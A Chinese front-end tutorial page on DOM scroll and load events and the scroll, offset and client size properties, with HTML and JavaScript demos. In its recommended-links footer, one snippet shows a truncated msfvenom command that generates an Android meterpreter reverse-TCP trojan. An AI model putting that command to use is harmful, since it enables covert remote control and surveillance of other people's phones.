DOM05~
滚动事件和加载事件
滚动事件
加载事件
滚动事件
什么是滚动事件？
1.1 当页面进行滚动时触发的事件
1.2 作用：网页需要检测用户把页面滚动到某个区域后做一些处理
1.3 事件名：scroll
监听整个页面滚动
2.1 给 window 或 document 添加 scroll 事件
监听某个元素的内部滚动直接给某个元素加即可
demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
body{
height:3000px;
}
div{
width:100%;
height:2000px;
background-color: pink;
overflow: auto;
}
</style>
</head>
<body>
<div></div>
<script>
// 页面滚动 事件监听
// 监听 某个元素
let div = document.querySelector('div')
div.addEventListener('scroll', function() {
console.log(111);
})
// 监听页面
window.addEventListener('scroll', function() {
console.log(111);
})
</script>
</body>
</html>
加载事件
什么是加载事件？
1.1 加载外部资源（如图片、外联CSS、JavaScript）加载完毕时触发的事件
1.2 作用：
有时候需要页面资源全部处理完了做一些事情
老代码喜欢把 script 卸载 head 中，这时候直接找 dom 元素找不到
1.3 事件名：load(2 --> 3) / 事件名：DOMContentLoaded(4 --> 5)
监听页面所有资源加载完毕
给 window 添加 load 事件
监听某个元素的内部滚动直接给某个元素加即可
当初始的 HTML 文档被完全加载和解析完成之后，DOMContentLoaded 事件被触发，而无需等待样式表、图像等完全加载
监听页面 DOM 加载完毕
给 document 添加 DOMContentLoaded 事件
demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script>
// 输出结果为 null
// let div = document.querySelector('div')
// console.log(div);
// 为 页面 添加 load事件监听
window.addEventListener('load', function() {
let div = document.querySelector('div')
console.log(div);
})
</script>
</head>
<body>
<div>
我是一个盒子
</div>
</body>
</html>
元素大小和位置
scroll 家族
offset 家族
client 家族
网页特效
scroll 家族
获取宽高
元素 内容 高度/宽度的一种度量
scrollWidth scrollHeight
它包含含元素的内边距，但不包括边框，外边距或垂直滚动条（如果存在）。它还可以包括伪元素的宽度，例如 ：：before或 ：：after。
只读属性
获取位置
可以获取或设置一个元素的内容水平/垂直滚动的像素数
scrollLeft scrollTop
这两个属性时可以修改的
demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
div{
height:3000px;
background-color: pink;
}
button{
position: fixed;
top: 400px;
right:18px;
display:none;
}
.active{
display:block;
}
</style>
</head>
<body>
<div></div>
<button>返回顶部</button>
<script>
// 获取元素
let btn = document.querySelector('button')
// 页面滚动事件
window.addEventListener('scroll',function() {
if (document.documentElement.scrollTop >= 400) {
btn.classList.add('active')
}else{btn.classList.remove('active')}
})
// 点击链接 返回顶部
btn.addEventListener('click', function() {
document.documentElement.scrollTop = 0
})
</script>
</body>
</html>
offset 家族
获取宽高
返回一个 元素 的布局高度/宽度
offsetWidth offsetHeight
包含元素的边框 (border)、水平线上的内边距 (padding)、竖直/水平方向滚动条 (scrollbar)（如果存在的话）、以及 CSS 设置的高度/宽度 (width) 的值。
只读属性
获取位置
返回当前元素左上角相对于 offsetParent 元素的左边界偏移的像素值。
返回当前元素相对于其 offsetParent 元素的顶部内边距的像素值。
offsetLeft offsetTop
只读属性
demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
*{
margin:0px;
padding:0px;
}
header{
width:100%;
height:48px;
background-color: pink;
margin-top: -48px;
position: fixed;
}
section{
width:80%;
height:2000px;
background-color: blue;
margin:auto;
}
div{
position: absolute;
top:400px;
background-color: aqua;
}
</style>
</head>
<body>
<header>
我是顶部导航栏
</header>
<section>
<div>看到显示导航</div>
</section>
<script>
// 获取元素
let header = document.querySelector('header')
let div = document.querySelector('div')
// 设置 滚动 事件监听
window.addEventListener('scroll', function() {
if (document.documentElement.scrollTop >= div.offsetTop){
console.log(document.documentElement.scrollTop >= div.offsetTop);
header.style.marginTop = '0px'
}else{header.style.marginTop = '-48px'}
})
</script>
</body>
</html>
client 家族
获取宽高
表示元素的内部高度/宽度，以像素计
clientWidth clientHeight
该属性包括内边距 padding，但不包括边框 border、外边距 margin 和垂直滚动条（如果有的话）。
只读属性
获取位置
一个元素顶部边框/左边框的宽度（以像素表示）
clientTop clientLeft
不包括顶部外边距或内边距
只读属性
窗口尺寸改变时触发事件
resize
window.addEventListener('resize', function(){//执行代码})
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
window.addEventListener('resize', function() {
console.log(111);
})
</script>
</body>
</html>
三大家族获取宽高对比 demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
*{
padding:0;
margin:0;
}
div{
width:150px;
height:150px;
background-color: pink;
overflow: auto;
}
</style>
</head>
<body>
<div>
这是一个盒子<br>这是一个盒子<br>这是一个盒子<br>
这是一个盒子<br>这是一个盒子<br>这是一个盒子<br>
这是一个盒子<br>这是一个盒子<br>这是一个盒子<br>
这是一个盒子<br>这是一个盒子<br>这是一个盒子<br>
</div>
<script>
let div = document.querySelector('div')
// scrollWidth scrollHeight
console.log('scrollWidth scrollHeight');
console.log(div.scrollWidth);
console.log(div.scrollHeight);
// offsetWidth offsetHeight
console.log('offsetWidth offsetHeight');
console.log(div.offsetWidth);
console.log(div.offsetHeight);
// clientWidth clientHeight
console.log('clientWidth clientHeight');
console.log(div.clientWidth);
console.log(div.clientHeight);
</script>
</body>
</html>
DOM05~的更多相关文章
- eCharts_基于eCharts开发的一个多图表页面
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
随机推荐
- 监控Android（生成木马）
生成木马: sudo su msfvenom --platform android -p android/meterpreter/reverse_tcp lhost=IP地址 lport=端口号 R ...
- 什么是RPC? （全面了解）
一:RPC 1.什么是RPC? RPC 是指远程过程调用,也就是说两台服务器,A 和 B,一个应用部署在A 服务器上,想要调用B 服务器上应用提供的函数或方法,由于不在一个内存空间,不能直接调用,需要 ...
- 深入理解 Linux 物理内存分配全链路实现
前文回顾 在上篇文章 <深入理解 Linux 物理内存管理>中,笔者详细的为大家介绍了 Linux 内核如何对物理内存进行管理以及相关的一些内核数据结构. 在介绍物理内存管理之前,笔者先从 ...
- [深度学习] 经典深度学习模型及其微调（Caffe）总结
目录 经典模型 Caffe预训练模型 经典模型 LeNet https://blog.csdn.net/kaido0/article/details/53161684 AlexNet https:// ...
- Dubbo架构设计与源码解析（二） 服务注册
作者:黄金 一.Dubbo简介 Dubbo是一款典型的高扩展.高性能.高可用的RPC微服务框架,用于解决微服务架构下的服务治理与通信问题.其核心模块包含 [RPC通信] 和 [服务治理] ,其中服务治 ...
- （5）go-micro微服务domain层开发
目录 一 domain层介绍说明 二 model层开发 三 repository层开发 四 service层开发 五 最后 一 domain层介绍说明 domain层专注于数据库数据领域开发,我们把数 ...
- css、js 缓存清除
此种方式完美达到了清除缓存的效果 css引入标签可在一个引号内完成,js引入标签由于解析原因需要将两个标签拆开再组 使用:按照此格式,放在原 <link /> 或 <script&g ...
- Spring框架初学习
Spring框架初学习 摘要:今天我终于开始学习大名鼎鼎的Spring框架了,在上大学的时候,经常看见一些课设大佬Spring,Spring的,什么Spring boot,Spring MVC的, ...
- C# 如何发送邮件消息
1.安装NUGET包 MailKit 2.代码如下 using MailKit.Net.Smtp; using MimeKit; using System.Collections.Generic; u ...
- 【Django drf】 序列化类常用字段类和字段参数 定制序列化字段的两种方式 关系表外键字段的反序列化保存 序列化类继承ModelSerializer 反序列化数据校验源码分析
目录 序列化类常用字段类和字段参数 常用字段类 常用字段参数 选项参数 通用参数 序列化类高级用法之source source填写类中字段 source填写模型类中方法 source支持跨表查询 定制 ...